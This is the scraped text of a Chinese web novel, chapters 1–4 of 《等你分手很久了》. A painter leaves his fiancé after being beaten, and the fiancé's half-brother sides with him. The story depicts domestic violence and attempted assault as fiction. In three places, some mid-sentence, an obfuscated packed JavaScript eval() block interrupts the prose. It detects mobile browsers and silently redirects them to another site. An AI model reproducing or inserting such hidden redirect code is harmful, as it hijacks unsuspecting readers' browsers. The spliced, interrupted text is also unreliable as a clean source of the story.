《等你分手很久了》 1. 第 1 章 北城A大,坐落在市中心的位置,隔三条街就是北城最著名的酒吧聚集地。 10点正是夜生活开始的时候,导航仪显示前方极度拥堵。 “我就在这里下吧,走过去。” 司机点点头,“要得要得,开门的时候注意点!” 谢玉承下车了,他穿着件宽松长袖白衬衫,下面是条黑色修身长裤,胳膊腿都遮得严严实实。 周围结伴的男男女女簇拥着往酒吧街里走,在一群时尚潮流、朋克亚逼风格的年轻人中间,谢玉承显得格格不入。 北城的夏天,就连空气都是滚烫的,只有他,给人一种清冷疏离的感觉。 从穿着上来看,他应该是那种随时端着咖啡,坐在玻璃大楼里小有成就的上班族。他的休息时间应该进出高级艺术场所陶冶情操,而不是大半夜跑来这种地方。 每个超级大都市的酒吧街都是这样,疯狂喧嚣,霓虹灯和音乐彻夜不停,来这里的无非就两种人,一种是单纯喝酒的,另一种是来猎艳的。 在以慢摇吧为主的街巷里,他穿越过人群,找到一家名为‘根据地’的清吧。 谢玉承推开门,忙得脚不沾地的服务生没时间招呼他,舞台上是抱着吉他弹唱的女歌手,酒吧里到处都是喝酒摇骰子的声音。 “这儿!”楚深举着酒瓶冲他招手,胡子拉碴吊儿郎当的。 整个酒吧,就属他最像地痞流氓。 他们的位置在酒吧角落,很适合老友叙旧。 “我说,今儿可是咱们513时隔四年头一回聚齐,这你都能迟到,说不过去哈!” 楚深一来就给他摆上几瓶酒,吆喝着要灌他。 谢玉承在他身边坐下,一脖子都是汗,热得人心慌。 “深儿,你让我歇口气吧,门口堵成什么样你又不是不知道,挤进来多费劲。” 他朝着对面两个打了个声招呼,“舍长、胖子,你们什么时候到的?” “谢美人儿!你可算来了!深儿又他妈逮着我灌!”胖子扑上来给他抱住,将军肚给桌上的啤酒瓶挤地叮当响,显然已经是微醺了。 谢玉承笑着拍他的肚子,“又丰腴了,你这趟不是去开签售会,是去视察全国美食街的吧?” “今儿看到小胖我都没敢认。”另一个带着眼镜文质彬彬的男人道。 他看着谢玉承,意味深长地叹了口气,“毕业四年了,小胖成了大胖,楚深从流氓变成了老流氓,就你,没变,还以前那样儿。” 从谢玉承进来到现在,董行书的目光没从他身上挪开过,那种眼神很复杂,眷念遗憾久别重逢。 再喜欢的人,四年没见,也该淡了。 可有人的,在学生时代里给别人留下的痕迹太过耀眼,时间没能让这种感情变淡,反而多了一层名为遗憾的滤镜,变得更加深刻。 他们四个大学时一个宿舍。 开学那天,谢玉承拉着行李杵宿舍门口,干干净净的白T和牛仔裤,阳光从正面落在他身上。 一眼万年。 毕业后楚深在北城开了个工作室干摄影,胖子成了小有名气的漫画家,谢玉承在画室当老师,只有董行书去了外地。 四个人里面,真要说混得好,那还得是董行书。 二十六岁就在外企混个了艺术总监,年过百万,百分百算是成功人士了。 “这次回来,是打算待多久?”谢玉承先敬了他一杯。 他俩坐对面,董行书的背挺地溜直,价格昂贵的百达翡丽重重压着他的手腕。 “说不准,也许几天,也许几个月,得看领导安排。” “哟哟哟——”楚深拎着酒杯加入他们的谈话,“什么叫说不准?工作说不准,还是感情说不准?哈哈哈——!” “深儿,这你还用问啊,要是谢美人儿肯松口,舍长肯定百万年薪不要了,直接辞了职留这儿!”小胖跟着起哄。 “谢美人儿就是谢美人儿,把舍长迷得神魂颠倒,喜欢了七八年都还放不下!” “那可不,我说深儿,你还记得以前咱俩卖谢老师的电话号不!” “怎么不记得!还赚了小一千呢!现在想想真是卖亏了!至少能买个一两万吧!” 这俩人就跟唱二人转似的,左一个谢美人儿,右一个谢美人儿,还跟以前一样,抓着机会就想把他俩撮合到一起。 不过,玩笑归玩笑,这事儿谁都知道不可能。 谢玉承有个从大四开始谈的男朋友,最近商量着结婚,连婚纱照的订金都交了,就等着挑个黄道吉日去领证。 “老段呢?又不跟你出门?”董行书问。 “别提了,段三火哪看得上咱们,哪回儿喝酒他来了?”楚深皱着眉头,提起这个名字就有点犯恶心,“要不是看在谢老师的份上,我他妈才不给他拍婚纱照。” 小胖愤愤道:“鲜花插在牛粪上!段三火能在千军万马中脱颖而出,唯一的可能性就是咱们家谢美人儿脑抽了!” 胖子有点喝醉了,平常在这个问题上他都是打哈哈揭过去的,今儿倒是一骨碌说了真心话。 气氛突然变得凝重。 董行书清了清嗓子,在桌底下对着他俩一人踹了一脚,“行了,别说了。” 舞台上换了人,木吉他换成了电吉他,穿着黑色坎肩的男人坐在高脚凳上,骨感纤长的五指在琴弦上一拨,瞬间点燃全场。 长发主唱在台上声嘶力竭地呐喊,唱出了摇滚那种疯狂又蓬勃的生命力。 “哟,段老二没说他今天要来啊。”楚深一只手搭在谢玉承肩上。 谢玉承看了眼那个穿着坎肩的吉他手,随后默不作声地拿起酒杯喝了一口,神色自然地和楚深有一搭没一搭地聊着。 “你工作室生意还好吧?” “还行吧,时不时有几单,你那婚纱照什么时候来拍?西服做好了没?” “不拍了。” “啊?你小子,该不会嫌弃我工作室小吧?先说好啊,订金不退!”楚深话还没说完。 一首歌结束,酒吧里响起震耳欲聋的欢呼声。 “段也!我们爱你——!”几个朋克女孩在下面齐声声地尖叫。 气氛像是沸腾了。 “分了。”谢玉承说。 · 段也拿着几瓶酒下来,脚尖一勾,从旁边儿借了张凳子,就坐在靠过道那边。 整个酒吧街都知道,‘根据地’酒吧的老板兼吉他手是个极品帅哥,又酷又拽的那种。长着185的个子,肌肉线条流畅紧实,五官明朗,剑眉星目,在街上兜一圈就能把人迷得七荤八素。 他是那种很有攻击性的长相,轮廓清晰锋利,眉眼深邃,鼻梁又挺又高,嘴唇很薄,唇角总是绷着,一副生人勿进的野兽气质。 听人说,他那种唇形的男人,接起吻来贼凶。 没人证实这事儿。 段也和谢玉承坐在一起,一个是条桀骜不驯的烈犬,一个是霁风朗月的矜贵公子哥,对比太突出反差太强,总的来说就是冰块扔开水里,不搭的。 “承哥。”他打了招呼。 谢玉承嗯了一声,“今天麻烦你了,还特地给我们腾位置。” “这有什么麻烦的。”段也淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520424|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡道,余光瞥见他脖子上的汗珠,很自然地从路过的服务员手里拿了把扇子,轻摇慢晃地给他扇风。 董行书笑了笑,调侃道:“怎么不叫嫂子?” “和你有关系?”段也的眉头立刻就拧起来。 段老二对他哥有意见,谁提跟谁急的那种,但他对他嫂子没意见。 他俩说熟也不熟,平常不怎么联系,算是亲戚,谢玉承知道段家有段老二这么一号人物,别的没什么。 段老二年纪不大,A大商学院硕士在读,按照计划会在毕业后进入自家企业上班,不过在校期间他就已经完成了几个项目,很有经商才能,赚了不少钱。 这家酒吧是他买来消遣的小产业,楚深跟着参了点股,反正稳赚不亏。 外面说他是个放浪形骸的纨绔,总之,在别人眼里,玩摇滚的不是疯子就是街头混混,不是什么好人。 “段老二。”楚深的手有些发抖,“烟给我来一根。” 段也没好气地从包里摸出一包烟,“你帕金森了?” “火。”楚深哑声道。 段也没理他。 谢玉承随手抽了一根出来。 打火机在他面前啪地一声点燃,段也把火递到他的烟尾。火光映着段也的眸子,漆黑的眼睛里像真燃了一把火。 楚深叼着烟翻了个白眼,从小胖那里拿了打火机,哆哆嗦嗦地点燃,长吐了一口烟雾出来。 “喝一杯。”楚深说。 酒杯在半空碰撞,胖子兴高采烈地喊道:“513万岁!友谊万岁!” 谢玉承的酒杯空了,楚深立刻给他倒满。 “喝吧。” 谢玉承什么也没说,端起酒杯就干了。 “再来。” 楚深继续给他倒。 “有病啊你?叫他喝你怎么不喝?”段也有点儿毛了,他感觉到有点不对劲,但又说不出是哪点不对劲。 等楚深倒第四杯的时候,段也彻底没忍住,直接抢了杯子一口端了。 “段老二!你放下!让他喝!”楚深喊道。 “老子帮他喝!”段也没好气地撂了杯子。 四周的空气里像是有股火,从某个着火点一寸寸地往外延,像是把他们几个人都烧着了——除了胖子,他脑子憨憨的,还没意识到情况不对。 谢玉承终于是开了口,嗓音里听不出什么波澜起伏,“没事儿,阿也,我自己想喝。” 他连杯子也不要了,直接端了瓶,那一刹那,段也急得抓住他的手,想问的话还没说出口,谢玉承直接换了只手端瓶子,而那只手就被段也虚虚握住,忘了抽开。 漏出的酒顺着他的唇角流进领口,酒吧灯光昏暗,隐约像是能看到他锁骨上类似吻痕的红晕。 段也不敢细看。 他能从谢玉承的手上感觉到明显上升的温度,刚才那些酒下去,至少得晕个几分钟的。 等谢玉承喝完那瓶酒,他的眼神开始变得有些迷离,意识也恍恍惚惚的。 “其实没什么。” 谢玉承吸了吸鼻子,原本白皙的皮肤开始泛红,眼睛像是红了一圈,他的漂亮在这一刻多上了几分脆弱易碎,好看地像副画。 “就是,我和你哥分了。” 段也那时候刚想把手松开。 “你说什么?!”他猛地站起来,手直接一整个结结实实握上去了。 楚深两手伸过头顶,把段也和董行书的表情尽收眼底,随后慢慢悠悠地鼓起掌来。 “给我拉横幅!放鞭炮!放十条街的鞭炮!连放十天!苍天有眼,你他妈终于分了!” 2. 第 2 章 今儿晚上那叫一个精彩,楚深直接跳到台上唱了首好运来,一向很在乎酒吧逼格的段老二居然也没拦着他。 “其实这事儿怪我。”董行书道。 他低下头,眉眼间染上几分愧疚,“回北城前几天,我看谢老师发了推,顺手就给他发了条私信。” “问他有没有空来机场接我。” 董行书扶着额头,“我喝了点酒,脑子不清醒,就问了句他分手没有,能不能给我个机会。” 楚深一口酒差点没喷出来,大半个酒吧都能听见他在嚎,“你在推特上发私信问他能不能给你个机会?你怎么不在小蓝上私信他呢!哈哈哈哈!别说段三火了,换我看了也觉得里面有猫腻啊!” “千年的狐狸装什么聊斋?”段也抄着手,脚尖勾着桌角往后仰去,目光挑衅地盯着董行书道:“你能不是故意的?” 董行书那条私信是颗炸弹,恰巧老段是个敏感又多疑的男人。 怀疑一旦开始罪名就已经成立了,谢玉承尝试过解释,他这人怕麻烦,不喜欢吵架,当着老段的面儿给董行书拉黑了。 董行书发来的消息,他其实连回都没回。 可他这一行为落在老段眼里又是另一个意思。 争执刚发生的时候,老段说他和别的男人有一腿,后来吵着吵着,直接就说他和别的男人搞上了。 话说得难听,谢玉承心疼这么多年的感情,想着忍忍就过去了,毕竟老段的性格他很清楚,气头一过,该好好过还是要好好过。 可不知道为什么,那天晚上,老段表现地很异常,敏感暴躁不讲道理,难听的字眼全往谢玉承身上招呼了一遍。 骂他是婊子,说他喜欢出轨喜欢偷情喜欢刺激,喜欢乱搞。 那天晚上,家里的东西砸碎了不知道多少,他的画、他们的照片、还有他。 锁骨骨裂、全身多处淤青,他只能穿着长袖长裤来遮掩自己的狼狈。 “我提的分手。”谢玉承把领口往上拉了拉。 他虽然怕麻烦,但又是个干脆利落的人,一旦说断了,那就是真的断了,绝对不会拖泥带水。 要说伤心他应该还是伤心的,就是看不太出来。 他的情绪基本上从不外露,甚至还有闲心安慰了董行书几句,“这事儿不怪你,我和老段的感情本来就不好不坏的,大四到现在,也不知道怎么磨磨蹭蹭地就过来了。不合适,分开也挺好的。” “幸好没结婚。”段也嘀咕了一句。 “我怎么能不自责,要不是我,你俩都该结婚了。”董行书叹气道。 段也轻咳了声,“行书哥,装什么好人呐,嘴角都快压不住了吧?” 他笑得有点儿邪气,二十出头的年纪,最是意气骄横的时候,脸上其实藏不住事儿。 董行书气息短促地轻呵了几声,和他碰了一杯,靠在段也耳边道:“反正有人已经压不住嘴角了。” 有些东西,局外人看得最清楚。 但是有些东西,只有本人才清楚。 所有人都不明白谢玉承为什么会和老段在一起,毕竟当初追他的人没有三百也有三十了,敢告白的都是有胆量的,论实力论背景,老段在里面充其量就算个脑子单边的愚蠢富二代,根本没有竞争力。 可就是莫名其妙的,谢玉承略过那么多优秀的追求者,偏偏就和老段那傻叉在一起了。 得知这个消息的时候,有人天塌了。楚深这几个狐朋狗友天天求爷爷告奶奶地撺掇他们分手,可谢玉承就是不松口,一拖就是五年。 “就是有些麻烦,要找房子,要搬家。”谢玉承拨着桌上的骰子。 在一起太久,要断的东西太多。 他现在住在段焱的房子里,说什么明天也要搬了。想到接下来那一系列麻烦事,他顿时头疼地厉害。 胖子有女朋友,楚深住的工作室,没地儿投奔,他眼下就只能住酒店。 “房子简单,你先搬出来,过两天我托人给你在你画室附近找一个,这下上班也方便。”楚深给他出主意。 “我……”胖子刚跳出来说话。 桌底下,楚深狠狠踩了他一脚,“你不赶稿了?” 楚深朝他使了个眼色,“明儿我有个拍摄,舍长有时间的吧,舍长去搭把手呗。咱们家谢美人儿手不能提肩不能抗的,搬家这事儿他一个人摆不平。” 董行书立马打起精神,“行,几点过来你方便?” “用得着你?”段也冲他歪了歪头,拖着嗓音慢悠悠地道:“就是你把他俩弄分手的,你去,不就坐实了你俩有一腿?让我哥怎么做人?” 他这句哥,大概双关。 董行书不敢说话了。 楚深耸耸肩,“那什么,店里这个月的分红什么时候打过来?” “明天。”段也说。 胖子问:“要不我也……” 段也:“胖哥。” 胖子抖了一下,“唉,老二,怎么了?” 段也:“你手里这本漫画还没卖出去吧?” 胖子扣着后脑勺,“唉,是、是……” 谢玉承有点走神。 段也碰了他一下,笑起来道:“哥,我有辆拉货的皮卡,你那些东西都宝贝儿,叫工人来也不放心,我明儿有空,一早就来,不是什么麻烦事儿。” 谢玉承目光迷离地盯着他那张脸,浅浅应了,“你来吧,你哥不在。” 段也唉了一声,眯着眼睛道:“段三火在也没事儿,我还能替你骂他两句。” · 家里,谢玉承参展获奖的奖杯堆了满满一箱子。 按照原本的轨迹,谢玉承本来应该是美术系最有前程的学生,他本科时期保送了硕博,毕业后可以继续留校。 然而,大四毕业后他放弃了继续攻读学业,转头去了教授的画室里当老师。 画室的工作比较清闲,他私底下还要接点单子,算行业里小有名气的画师,综合收入还算不错。 虽说赚得不少,但他其实没存下什么钱。 家里留下来的债,奶奶的医药费,这些经常压得他喘不过气。好在是努力了这么些年,外债是还清了,他身上的压力小了不少。 在外人眼里,他和老段在一起除了图钱没别的理由。 人人都知道老段有钱,段家的财力在北城那是数一数二的,但别人不知道的是,有些人的风光仅仅停留在表面。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520425|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 段家不是养闲人的地方,老段不是做生意的好手,家里派给他的项目他干得够呛,能不亏都千恩万谢了。 无论是家里的外债还是奶奶的医药费,谢玉承从没指望过老段能替他分担。 老段这人还有一个问题,面子观念太重,头上顶着段家大少爷的光环,私底下的吃穿住行不敢不奢侈,怕人家笑话他。 于是到了后来,银行卡里的数字见不得人,信用卡里的数字更见不得光。 男人再有钱,没有个漂亮的伴侣,出门也是寒碜的。其实很多人都知道老段是个没本事的富二代,金玉其外败絮其中,可一旦谢玉承站他边上,他在别人心中的地位那就蹭蹭往上涨了。 谢玉承漂亮,履历好看,高情商,出门在外,那些男人的眼神能把他吃了。这时候,老段再吹牛,那别人就会觉得他说得是真的,要不然怎么能忽悠到谢老师那种仙品。 别人费尽心思都追不到的人,到他追,就成他的了。 这事儿老段能吹一辈子。 谢玉承觉得老段挺好的,男同圈里不出去乱搞的男人太少了,随随便便认识一个新人都有可能是好几个人的py。 他这人性子淡,不想牵扯进那些狗血的是非里,这点老段能满足他。 他是真心想和老段结婚的。 段家的财力让他心安,这点是事实,他过够那种为钱发愁的日子,一想到要为了钱去奔波,他心里就烧得慌。 老段这人再没本事,他家里的资产也是雄厚的。 另一方面,段家也想让他这样的人来装点门面,婚前他们签了协定,只要结婚,房子车子不说,就单说给的钱,他一辈子都花不完。 最重要的一点,段家给他奶奶安排了最好的疗养院和最好的医生。 热水顺着头发往身上淌去,雾气斑驳的浴室里,身上的淤青隐隐作痛。 手机收到新讯息。 老段:[老婆,对不起。] 老段:[真的,没下次了。我给你买了你最喜欢的凤梨酥,大清早的,我拉着老板来开门。] 老段:[我两宿没睡了,老婆,你心疼心疼我。那天我真气糊涂了,又喝了点酒,脾气没收住。别生气了,咱们这么多年,好不容易熬到要结婚,家里人都通知完了,真要分手,面子往哪搁?] 谢玉承叹了口气,鼻子酸酸的,到底还是把眼泪憋回去了。 原则性问题,他接受不了。 一想到那天,别说是身上疼,他心里疼得喘不上来气,淋着热水都在浑身发抖。 谢玉承:[算了吧。] 他把老段拉了黑名单,指尖划过小区群聊,看到他们这栋楼的电梯正在维检,说是有人困在里面了。 谢玉承心里咯噔一声,赶紧给段老二打了电话。 没人接。 谢玉承:[看群说有人困在电梯里了,你没事吧?] 没人回。 他一下慌地不行,捡了睡衣往身上一套,火急火燎就往外冲,拖鞋都忘了穿。 刚打开门,只听一声闷响。 “卧槽!” 段也捂着鼻子站在门口,眉毛眼睛拧成一团,“哥!你谋杀呢吧!” 3. 第 3 章 “阿也?”谢玉承赶紧扑上去看他的鼻子,“怎么样?没事儿吧?” “有事儿!事大了!”段也躲过他,侧身就进了屋,长吁短叹地叫唤,“哎哟,哎哟,我怎么感觉好像出血了?” 谢玉承吓得脸色惨白,跟在他身后一路追到客厅沙发,“怎么这么严重?快拿给我看看,真要出血了咱们就上医院!” 段也躺在沙发上,仰着头,一个劲地躲他,嘴里还念念有词道:“别碰别碰!疼呢!” “行行!我不碰!你手拿开让我看看!” 段也往边上挪了些,蹙眉指着他道:“坐,你先坐下。” 谢玉承拿他没办法,刚坐下,段也又站起来,他跟着也要站起来。 “停!别动!”段也没好气道。 段老二的脾气别人一向摸不准,谢玉承拿不定他现在到底是在装还是说真生气了。 “阿也,我不知道你在门外,我……” 段也走到门口,在地上拎了双拖鞋过来。 “不知道在急什么,鞋也不穿。”段也半蹲在他面前。 谢玉承愣了一下,就看他低着头给自己穿鞋。 “……阿也,不用,我自己来。” 段也今天穿着件黑T,头发一看就是精心抓过的,干干净净地有了点学生气,身上还带着皂粉的香味,不像玩摇滚的疯子。 谢玉承吸了口气,趁他给自己穿鞋,伸手将他的下巴抬起来。 鼻子高高挺挺的,好看,没事儿。 “段老二。”他气息低沉。 段也一看被戳破了,笑嘻嘻地就往前拱,下巴搭在谢玉承手心里,蹭了蹭。 “哥,刚才是真疼,难不成我还骗你?” 谢玉承松了手,扭过头不看他,小声嘀咕道:“第几回了,小骗子。” 段也笑得恣意,顺势跪在地上,身子往前拱,下巴放在谢玉承腿上,仰着头笑道:“嫂嫂,你再看看呢?我感觉就是破皮了,疼呢,你给吹吹。” 谢玉承起了身鸡皮疙瘩,实在受不了他那副撒娇的鬼样子,伸手在他鼻子上拧了一把。 “哎哟!”段也接着叫唤,“长这么漂亮,心眼儿怎么忒坏!” “快起来了,今天不过年,没压岁钱给你。”谢玉承踹了他一脚。 段也哎哟哎哟地站起来,“话说回来,你刚才出门干嘛?” 谢玉承趿着拖鞋往卫生间走,声音闷闷的,“不干嘛。” “刚才你是不知道,我都要上电梯了,结果你们那电梯突然卡在里面,我都能听见里面的人叫救命。”段也道。 谢玉承心想幸好不是他,“现在怎么样?” “消防来了,没事儿,小问题,说是很快就能修好。” “想也是,要不然你怎么上来的。”谢玉承说。 段也说:“走楼梯啊,十六层唉,累得我。” 谢玉承扶着卫生间的门,身形一滞,“走上来的?” 段也漫不经心地嗯了一声,“不想等。” 他从带来的包里拿了打包盒出来,“你赶紧的,我给你带了早餐。” 十六层,等一等,大概也要不了多长时间,走上来该多累? 谢玉承有点想不通,但也不想细想,拿了浴巾搭在头发上,慢悠悠地擦着水。他的头发还是湿的,睡衣第一颗扣子没来得及扣,水滴顺着发烧落在他锁骨上。 他那身睡衣是丝绸的,贴服,隐约能看出水渍,有些部分贴在身上,总让人联想到一些乱七八糟的东西。 段也装作一副从容不迫的样子,其实呼吸有点不均匀,好在是能拿爬了楼梯当掩护 ,他把早餐放在桌上,又取了餐盘,将三明治和凤梨酥精细地摆了个盘。 “热美式、热牛奶,金枪鱼三明治和凤梨酥,你挑着吃,吃不下的留给我。” 都是谢玉承喜欢的。 “凤梨酥?”谢玉承问。 段也说了句很耳熟的话,“啊,我开车到老板楼下,给他接过来开的门。” 谢玉承没说话。 他顶着浴巾坐在餐桌前,选了三明治和咖啡,咖啡是现磨的,三明治很好吃,包装不是他平常吃的那间店,味道还要好些,想着待会儿问问是哪家卖的。 “头发怎么不吹?”段也问。 谢玉承喝了口咖啡,打起点精神,“天热,一会儿就干了。” 段也:“吹风机在卫生间吧。” 谢玉承:“别了,阿也,我不想。” 段也皱着眉头,张了张嘴,“谁稀得管你,有你头疼的。” 谢玉承苦笑了声。 要搬走的东西都收拾打包好了,其实也没多少。这个家里的东西基本上都是段焱的,乍一眼扫过去,像是没少什么,就跟他从来没在这个家里待过似的。 来的时候干干净净,走的时候也干干净净。 段也把东西给他搬到门口,“怎么就这些,段三火不是给你买了鞋子啊包啊什么的,那些也带走啊。” 谢玉承摇摇头,点了支烟。 听到那啪地一声,段也表情又不痛快了,走过去拿他的烟,“大清早的,你少抽点会死啊?” 谢玉承往旁边躲了一下,清晨的阳光透过落地窗落在他的侧脸上,漂亮地让人心惊,就是那双眼里能看出些悲伤。 “阿也,我和老段在这里住了三四年,就那张沙发,以前他很爱抱着我窝在沙发上看电视。” 段也的脸色瞬间变了,声音也冷了下来,“然后呢?还在那上面干过什么?” 谢玉承抿着唇。 段也冷笑,侧身坐在餐桌上,拳头握地咔咔作响,“抱着你看电视,还是抱着你操?” “……” “哦,我忘了,段三火那萎男,硬不起来,该是你操他,是吧,承哥?”段也盯着他手里的烟。 烟头明明灭灭,他的心乱地慌。 人家是两口子,在谈恋爱呢,做|爱嘛多正常,不做才不正常,没事儿没事儿。 他在心里反复安慰自己。 “喜欢沙发。”段也呵笑了几声,眼神往沙发上落,里头像带了刀子,恨不得冲上去把那沙发给撕得稀巴烂,“没事儿,我叫人给你拖走,搬了新家之后还能和新人在上面重温旧梦嘛。” “段老二。”谢玉承说话没什么情绪,“你走吧。” 空气凝滞了似的,那烟雾就这么飘飘扬扬地往上走,段也往自己脸上招呼了两巴掌,力道也不重,笑着道:“我的,哥,我这嘴就这样,喜欢犯贱,喜欢给自己找不痛快,我不说了。” 他顿了顿,又说:“我脑子有病。” 段也从桌上下来,把桌上的烟灰缸收拾了。那烟灰缸里都塞满了,看着那么多烟,段也心里想,谢玉承应该是爱的,不爱能抽这么多? 谢玉承爱段三火。 爱那个傻逼。 那么爱,又干嘛提分手? 他蹲下身,把烟灰倒进脚下的垃圾桶,垃圾袋收拾起来打算待会儿一起带下去。 可就这么一蹲,他瞥见谢玉承折起来的衣角,那本该白皙性感的腰上,此时一团巴掌大的淤青落在上面,触目惊心。 他倒吸了一口气,握着烟灰缸的指尖止不住地发抖。 对啊,那么爱,分个鸡毛的手啊? 段也死死咬着牙,先把烟灰缸轻轻放下,也没站起来,从桌角的柜子里翻出一沓请帖。 头一张就写的‘段也’。 他勾起唇角,笑地难听,“行啊段三火,特地给我弄张请帖呢?怎么,把我当外人?” 谢玉承从他手里把请帖抢过来,一股脑扔进垃圾桶里。 段也仰起头来看他,“哥,你俩到底怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520426|142318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么分的手?” 谢玉承现在没什么心思搭理他,敷衍道:“就那样,吵架,分手,觉得不合适了就分开,不是说过了吗?” “可是,你他妈不是爱他吗?沙发……”段也把后半截话咽回肚子里,颤颤巍巍支着地板想站起来,可就是腿软,没站起来,一屁股又给坐了下去。 他的目光直直落在谢玉承腰后的淤青上。 有股火在心里憋着,他不想站起来了。 “谢玉承,你说你这么漂亮一男的,圈儿里追你的男人得有百八十个吧?不管当0还是当1,比他好的人海了去了,怎么就偏偏眼瞎看上段三火那阳痿王八蛋了呢?” 谢玉承蹙眉道:“段老二,我知道你和老段关系不好,但他是我前男友,我爱过的人,你能别在我面前诋毁他吗?” “那你分什么手呢?你接着爱啊。”段也摸了根烟给自己点上,手抖地能筛糠了。 谢玉承无奈道:“能别说这些了吗?” 段也一口气抽了半根烟,烟雾迷了眼睛,他低下头,硬生生地把眼泪给憋回去,嗓子哑着道:“谢玉承,你和那婊子生的狗玩意儿在一起,我笑话你一辈子。” “段老二!他好歹是你哥!你亲哥!” “亲他大爷!”段也终于是能站起来,咬着牙去扒拉谢玉承的领口,“我问你怎么分的手!” 锁骨的伤口被碰到,谢玉承一把将他推开,疼地钻心,将领口死死拢起来。 可这时候再怎么遮都是徒劳,伤口被揭开的那一刻,他在段也面前的体面就荡然无存了。 连带着他想要和老段好聚好散的想法一起,彻底被打破了。 段也不可置信地盯着他,呼吸越发沉重,“他打你?他段三火居然敢打你?他妈的段三火怎么敢的!” 谢玉承扶着额头,声音里带着点哽咽,“阿也,别告诉深儿他们。” “神经,这时候你还护着他!他是没把你脑子打清醒吗!” “他喝了酒,以为我和行书有什么。”谢玉承不知道自己为什么要说这个。 这话说出来就是火上浇油。 “你还……”段也震惊地差点说不出话,反反复复地在他面前走,脚步显得过于焦躁,“行,你告诉我,这是第几次?他打你几次了?以前打过你没有?” 谢玉承带着鼻音道:“没有,就这一次。” 段也叉腰深吸了一口气,望着天道:“一次,分手,行,算你还有点脑子。” 他锤了几下头,冷声道:“你去把衣服换了,我先把东西搬下去。” 谢玉承在桌上呆坐了很久,脑子里一片乱。 他其实能够理解段也对老段的憎恶,毕竟段也是名正言顺的豪门公子哥,爹妈都是有钱有势的人家,他打小众星捧月,骄纵地不行。 可偏偏在他八岁那年,他爹从外面给他带了个私生子哥哥回家。 好端端的老大成了老二,这种事儿放谁家里都恶心,他爹妈为了这事儿已经分居多年。段也本来可以拥有一个完美幸福的家庭,段焱一出现,什么都毁了。 刚开始,谢玉承不知道这些破事,觉得段老二是个脾气糟糕喜怒无常的疯子,等知道的时候,他已经和段焱在一起了。 都是些烂事……谢玉承趴在桌子上想,至少今后不用再面对这些破事儿了。 他坐了一会儿,隐约听到开门声。 谢玉承深吸了一口气,走出去道:“你等我一会儿,我去换衣服,很快。” 话音刚落,他看到一个无比熟悉的身影。 段焱站在他面前,一身西装穿得歪歪扭扭,烟酒味扑面而来。 “老婆。”段焱冲着他张开双臂,一副深情款款的模样,“我回来了。” 那夜的记忆一股脑的涌进脑海,谢玉承呼吸急促,吓得往后退了几步,浑身发抖。 4.第 4 章 段焱走上前来抱住他,贴在他耳根边儿上吻他,“老婆,你别怕啊,我以后不会了,真的,我对天发誓。” 生理性恐惧在脑海中肆意作祟,谢玉承想要推开他,可身上一点力气没有,他怎么用力都推不开面前的男人。 “我知道你不会和别人乱搞的,有些事儿咱们说清楚,你也不想想,你奶奶还在疗养院,咱们家好吃好喝地给她供着,护工都请了三个,咱们要是分手,你奶奶怎么办?” 段焱顺着他的背往下摸,手伸进他衣服里,把他衣服撩开。 “别!”谢玉承睁大眼睛喊道:“老段!我们已经分手了!” 段焱揉了揉眉心,啧了一声,“分什么手?你那么怕麻烦一人,这都说了要结婚了,难不成你还真要挨家挨户打电话说我们不结了?” “这事儿没得谈。”谢玉承咬牙道。 段焱从包里摸出一板蓝色小药丸,“我说你也是,嘴硬什么呢?嗯?你谢玉承离了我你算什么东西?真以为外面的男人排着队要你?他们只不过是想睡你,只有我把你当菩萨供起来,好好养着没碰你。” “你那是不碰我?”谢玉承气笑了,“这么多年没上过床,你今天装什么?真要我把话说的那么难听吗?” 段焱的脸色瞬间黑了,一把掐住他的脖子把他摁在沙发上。 窒息感涌来,谢玉承挣扎着去踢他,却被他用胳膊死死锁在沙发。男人之间的差距在这一刻体现出来,谢玉承长得文弱,一直以来斯文得体,从来没打过架,可段焱不一样,他混着长大的,下手没个轻重。 谢玉承心头泛起无助,有一刻他甚至觉得自己会死在这里。 他努力地想要去够手机,可段焱却将他的手机直接砸了个稀巴烂。 段焱就像个发了狂的魔鬼,许久没剪的头发乱糟糟地在头上支棱着,“分手!你这辈子想都别想!” 段焱扑上来吻他,牙齿撕咬着他的唇。 一边哭着一边吻他。 “好老婆,别分手行不行?求你了,算我求你……” 谢玉承闭上眼睛,他觉得很痛苦,很累,他在这一刻才彻底明白,段焱对他的感情根本就不是爱情,无非是把他当做装点体面的工具,毕竟自己是他唯一能拿的出手的,没了自己,段焱就是个又蠢又遭人白眼的私生子。 太可笑了。 “喂。” 一道叩门声响起。 段焱听到那个声音就像是听到猫叫的耗子,吓得一个激灵,僵硬地回过头。 身后,段也松松散散地靠在门边,他没什么表情,手背有一下没一下地敲着门。 那声音,催命似的。 